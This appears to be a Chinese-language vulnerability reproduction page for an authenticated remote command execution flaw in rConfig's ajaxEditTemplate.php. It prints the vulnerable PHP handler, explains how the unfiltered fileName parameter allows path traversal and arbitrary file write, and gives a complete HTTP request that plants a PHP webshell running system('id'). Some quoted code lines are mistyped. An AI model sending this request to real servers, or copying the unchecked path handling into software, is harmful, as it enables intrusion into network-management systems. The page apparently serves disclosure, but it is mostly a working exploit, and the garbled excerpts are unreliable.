rConfig ajaxEditTemplate.php 后台远程命令执行漏洞¶
漏洞描述¶
rConfig ajaxEditTemplate.php 存在后台远程命令执行
漏洞影响¶
网络测绘¶
漏洞复现¶
漏洞文件为 rconfig/www/lib/ajaxHandlers/ajaxEditTemplate.php
<?php
require_once("/home/rconfig/classes/usersession.class.php");
require_once("/home/rconfig/classes/ADLog.class.php");
require_once("/home/rconfig/classes/spyc.class.php");
require_once("/home/rconfig/config/functions.inc.php");
$log = ADLog::getInstance();
if (!$session->logged_in) {
echo 'Don\'t bother trying to hack me!!!!!<br /> This hack attempt has been logged';
$log->Warn("Security Issue: Some tried to access this file directly from IP: " . $_SERVER['REMOTE_ADDR'] . " & Username: " . $session->username . " (File: " . $_SERVER['PHP_SELF'] . ")");
// need to add authentication to this script
header("Location: " . $config_basedir . "login.php");
} else {
$ymlData = Spyc::YAMLLoad($_POST['code']);
$fileName = $_POST['fileName'];
$check_yml_extension = explode('.', $fileName);
if(@!array_key_exists($check_yml_extension[1])){
if(@$check_yml_extension[1] != 'yml'){
$fileName = $fileName . '.yml';
}
}
$fullpath = $config_templates_basedir.$fileName;
$username = $_SESSION['username'];
require_once("../../../classes/db2.class.php");
require_once("../../../classes/ADLog.class.php");
$db2 = new db2();
$log = ADLog::getInstance();
if (!is_dir('templates')) {
mkdir('templates');
chown('templates', 'apache');
}
// if'' to create the filename based on the command if not created & chmod to 666
if (!file_exists($fullpath)) {
exec("touch " . $fullpath);
chmod($fullpath, 0666);
}
// if the file is alread in place chmod it to 666 before writing info
chmod($fullpath, 0666);
// dump array into file & chmod back to RO
$filehandle = fopen($fullpath, 'w+');
file_put_contents($fullpath, $_POST['code']);
fclose($filehandle);
chmod($fullpath, 0444);
$db2->query("UPDATE `templates` SET `fileName` = :fileName, `name` = :name, `desc` = :desc, `dateLastEdit` = NOW(), `addedby` = :username WHERE `id` = :id");
$db2->bind(':id', $_POST['id']);
$db2->bind(':fileName', $fullpath);
$db2->bind(':name', $ymlData['main']['name']);
$db2->bind(':desc', $ymlData['main']['desc']);
$db2->bind(':username', $username);
$queryResult = $db2->execute();
/* Update successful */
if ($queryResult && file_exists($fullpath)) {
$response = "success";
$log->Info("Success: Template: ".$fullpath." edited in templates folder");
}
/* Update failed */ else {
$response = "failed";
$log->Warn("Success: Could not edit Template ".$fullpath." in templates folder");
}
echo json_encode($response);
} // end session check
关键代码如下
// if'' to create the filename based on the command if not created & chmod to 666
if (!file_exists($fullpath)) {
exec("touch " . $fullpath);
chmod($fullpath, 0666);
}
// if the file is alread in place chmod it to 666 before writing info
chmod($fullpath, 0666);
// dump array into file & chmod back to RO
$filehandle = fopen($fullpath, 'w+');
file_put_contents($fullpath, $_POST['code']);
fclose($filehandle);
chmod($fullpath, 0444;
$fileName → $fullpath ---> 写入文件,其中 fileName参数 POST传入时没有过滤导致目录可上传任意位置
$ymlData = Spyc::YAMLLoad($_POST['code']);
$fileName = $_POST['fileName'];
$check_yml_extension = explode('.', $fileName);
if(@!array_key_exists($check_yml_extension[1])){
if(@$check_yml_extension[1] != 'yml'){
$fileName = $fileName . '.yml';
}
}
$fullpath = $config_templates_basedir+ .$fileName;
$filehandle = fopen($fullpath, 'w+');
file_put_contents($fullpath, $_POST['code']);
POST code 传参写入文件 test.php.yml, 请求包如下
POST /lib/ajaxHandlers/ajaxEditTemplate.php HTTP/1.1
Host:
Cookie: PHPSESSID=fv8j4c6r4gofug1vr9v3efdvj7
Content-Length: 81
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
fileName=../www/test.php&code=<?php echo system('id');?>&id=1
这里写入文件 test.php.yml
,并使用 ../
跳出限制的目录,访问 test.php.yml 实际访问了 test.php,执行id命令